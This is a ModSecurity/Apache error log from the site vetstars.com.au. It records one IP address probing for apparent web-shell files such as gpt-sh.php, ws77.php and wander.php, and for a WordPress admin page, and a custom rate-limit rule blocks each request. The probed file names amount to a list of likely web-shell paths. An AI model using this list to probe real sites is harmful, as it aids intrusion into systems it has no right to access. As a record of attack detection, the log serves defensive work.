[Wed Apr 01 02:48:44.131112 2026] [:error] [pid 52592:tid 52657] [client 68.221.68.130:23077] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDD-61iqkPKUhqlb8kwAAAAo"]
[Wed Apr 01 02:48:44.270852 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22990] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDPXQdXnDyA4XYbYEPgAAARA"]
[Wed Apr 01 02:48:44.609958 2026] [:error] [pid 52592:tid 52652] [client 68.221.68.130:23010] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDD-61iqkPKUhqlb8lgAAAAU"]
[Wed Apr 01 02:48:44.751512 2026] [:error] [pid 19113:tid 19138] [client 68.221.68.130:23158] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDPXQdXnDyA4XYbYEPwAAARc"]
[Wed Apr 01 02:48:45.088877 2026] [:error] [pid 52592:tid 52669] [client 68.221.68.130:23110] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDT-61iqkPKUhqlb8mQAAABY"]
[Wed Apr 01 02:48:45.239859 2026] [:error] [pid 52592:tid 52649] [client 68.221.68.130:23041] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDT-61iqkPKUhqlb8mgAAAAI"]
[Wed Apr 01 02:48:45.570406 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:23163] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "acwXDfXQdXnDyA4XYbYEQgAAARY"]
[Wed Apr 01 02:48:45.719027 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:23132] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDeKOtxqtcDhRtD-hnwAAAJA"]
[Wed Apr 01 02:48:46.051406 2026] [:error] [pid 52592:tid 52655] [client 68.221.68.130:23052] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDj-61iqkPKUhqlb8ngAAAAg"]
[Wed Apr 01 02:48:46.214152 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:22999] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDj-61iqkPKUhqlb8nwAAAAQ"]
[Wed Apr 01 02:48:46.529129 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:23022] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDj-61iqkPKUhqlb8oAAAABQ"]
[Wed Apr 01 02:48:46.694345 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:23055] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDke53suVMS91e0RHXgAAAMI"]
[Wed Apr 01 02:48:47.007548 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:22946] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXD0e53suVMS91e0RHYgAAAMQ"]
[Wed Apr 01 02:48:47.173710 2026] [:error] [pid 52592:tid 52663] [client 68.221.68.130:23000] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDz-61iqkPKUhqlb8oQAAABA"]
[Wed Apr 01 02:48:47.486899 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:23140] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acwXDz-61iqkPKUhqlb8pAAAAAE"]
[Wed Apr 01 02:48:47.661651 2026] [:error] [pid 52593:tid 52695] [client 68.221.68.130:23093] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXD-KOtxqtcDhRtD-hogAAAJU"]
[Wed Apr 01 02:48:47.967120 2026] [:error] [pid 52592:tid 52658] [client 68.221.68.130:23080] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXDz-61iqkPKUhqlb8pQAAAAs"]
[Wed Apr 01 02:48:48.141522 2026] [:error] [pid 52594:tid 52714] [client 68.221.68.130:22980] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXEEe53suVMS91e0RHZAAAAM0"]
[Wed Apr 01 02:48:48.447159 2026] [:error] [pid 52592:tid 52653] [client 68.221.68.130:23135] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXED-61iqkPKUhqlb8pwAAAAY"]
[Wed Apr 01 02:48:48.641688 2026] [:error] [pid 52592:tid 52649] [client 68.221.68.130:23146] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXED-61iqkPKUhqlb8qAAAAAI"]
[Wed Apr 01 02:48:48.928837 2026] [:error] [pid 52836:tid 52897] [client 68.221.68.130:23036] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXEJjk_YTY8bXnEz5vTAAAAEU"]
[Wed Apr 01 02:48:49.121313 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:23098] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXET-61iqkPKUhqlb8qgAAABM"]
[Wed Apr 01 02:48:49.413530 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:23086] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acwXEfXQdXnDyA4XYbYERAAAAQ0"]
[Wed Apr 01 02:48:49.602896 2026] [:error] [pid 52594:tid 52723] [client 68.221.68.130:23081] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXEUe53suVMS91e0RHaQAAANY"]
[Wed Apr 01 02:48:49.902923 2026] [:error] [pid 52592:tid 52655] [client 68.221.68.130:23097] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXET-61iqkPKUhqlb8rAAAAAg"]
[Wed Apr 01 02:48:50.084310 2026] [:error] [pid 52836:tid 52911] [client 68.221.68.130:23012] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXEpjk_YTY8bXnEz5vUQAAAFM"]
[Wed Apr 01 02:48:50.381698 2026] [:error] [pid 52836:tid 52913] [client 68.221.68.130:22952] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXEpjk_YTY8bXnEz5vUgAAAFU"]
[Wed Apr 01 02:48:50.563013 2026] [:error] [pid 52594:tid 52707] [client 68.221.68.130:23073] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXEke53suVMS91e0RHawAAAMY"]
[Wed Apr 01 02:48:50.861407 2026] [:error] [pid 52836:tid 52901] [client 68.221.68.130:23061] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXEpjk_YTY8bXnEz5vVQAAAEk"]
[Wed Apr 01 02:48:51.042212 2026] [:error] [pid 52836:tid 52906] [client 68.221.68.130:22937] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXE5jk_YTY8bXnEz5vWAAAAE4"]
[Wed Apr 01 02:48:51.354652 2026] [:error] [pid 52592:tid 52665] [client 68.221.68.130:22924] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "acwXEz-61iqkPKUhqlb8sQAAABI"]
[Wed Apr 01 02:48:51.555588 2026] [:error] [pid 52836:tid 52910] [client 68.221.68.130:22981] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXE5jk_YTY8bXnEz5vXAAAAFI"]
[Wed Apr 01 02:48:51.834583 2026] [:error] [pid 52594:tid 52709] [client 68.221.68.130:22913] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXE0e53suVMS91e0RHbAAAAMg"]
[Wed Apr 01 02:48:52.048344 2026] [:error] [pid 52593:tid 52692] [client 68.221.68.130:23063] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXFOKOtxqtcDhRtD-hqAAAAJI"]
[Wed Apr 01 02:48:52.317757 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:23114] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXFEe53suVMS91e0RHbgAAAMI"]
[Wed Apr 01 02:48:52.586189 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:22985] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXFOKOtxqtcDhRtD-hqQAAAI0"]
[Wed Apr 01 02:48:52.800081 2026] [:error] [pid 52593:tid 52694] [client 68.221.68.130:23143] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXFOKOtxqtcDhRtD-hqgAAAJQ"]
[Wed Apr 01 02:48:53.066165 2026] [:error] [pid 52594:tid 52710] [client 68.221.68.130:23016] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXFUe53suVMS91e0RHcAAAAMk"]
[Wed Apr 01 02:48:53.316966 2026] [:error] [pid 52594:tid 52701] [client 68.221.68.130:23021] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "acwXFUe53suVMS91e0RHcQAAAMA"]
[Wed Apr 01 02:48:53.549442 2026] [:error] [pid 52836:tid 52908] [client 68.221.68.130:22931] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXFZjk_YTY8bXnEz5vXgAAAFA"]
[Wed Apr 01 02:48:53.811185 2026] [:error] [pid 52836:tid 52914] [client 68.221.68.130:23011] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXFZjk_YTY8bXnEz5vXwAAAFY"]
[Wed Apr 01 02:48:54.030096 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:22920] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXFuKOtxqtcDhRtD-hrAAAAJA"]
[Wed Apr 01 02:48:54.294357 2026] [:error] [pid 52592:tid 52665] [client 68.221.68.130:22955] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXFj-61iqkPKUhqlb8uQAAABI"]
[Wed Apr 01 02:48:54.546988 2026] [:error] [pid 52593:tid 52698] [client 68.221.68.130:23043] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXFuKOtxqtcDhRtD-hrgAAAJg"]
[Wed Apr 01 02:48:54.803407 2026] [:error] [pid 52592:tid 52650] [client 68.221.68.130:23101] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXFj-61iqkPKUhqlb8ugAAAAM"]
[Wed Apr 01 02:48:55.031462 2026] [:error] [pid 52594:tid 52722] [client 68.221.68.130:22942] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXF0e53suVMS91e0RHdgAAANU"]
[Wed Apr 01 02:48:55.298408 2026] [:error] [pid 52836:tid 52916] [client 68.221.68.130:23016] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acwXF5jk_YTY8bXnEz5vZQAAAFg"]
[Wed Apr 01 02:48:55.519645 2026] [:error] [pid 52836:tid 52912] [client 68.221.68.130:22994] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXF5jk_YTY8bXnEz5vZgAAAFQ"]
[Wed Apr 01 02:48:55.791436 2026] [:error] [pid 52836:tid 52915] [client 68.221.68.130:23042] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXF5jk_YTY8bXnEz5vZwAAAFc"]
[Wed Apr 01 02:48:56.000717 2026] [:error] [pid 52836:tid 52902] [client 68.221.68.130:22973] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXF5jk_YTY8bXnEz5vaQAAAEo"]
[Wed Apr 01 02:48:56.271760 2026] [:error] [pid 52836:tid 52894] [client 68.221.68.130:22979] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXGJjk_YTY8bXnEz5vagAAAEI"]
[Wed Apr 01 02:48:56.480463 2026] [:error] [pid 52836:tid 52895] [client 68.221.68.130:23005] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXGJjk_YTY8bXnEz5vbgAAAEM"]
[Wed Apr 01 02:48:56.754085 2026] [:error] [pid 52593:tid 52692] [client 68.221.68.130:22983] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXGOKOtxqtcDhRtD-hsgAAAJI"]
[Wed Apr 01 02:48:56.961991 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:23059] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXGOKOtxqtcDhRtD-hswAAAI0"]
[Wed Apr 01 02:48:57.234368 2026] [:error] [pid 52593:tid 52691] [client 68.221.68.130:23127] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acwXGeKOtxqtcDhRtD-htQAAAJE"]
[Wed Apr 01 02:48:57.443149 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:23034] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGUe53suVMS91e0RHeQAAAMI"]
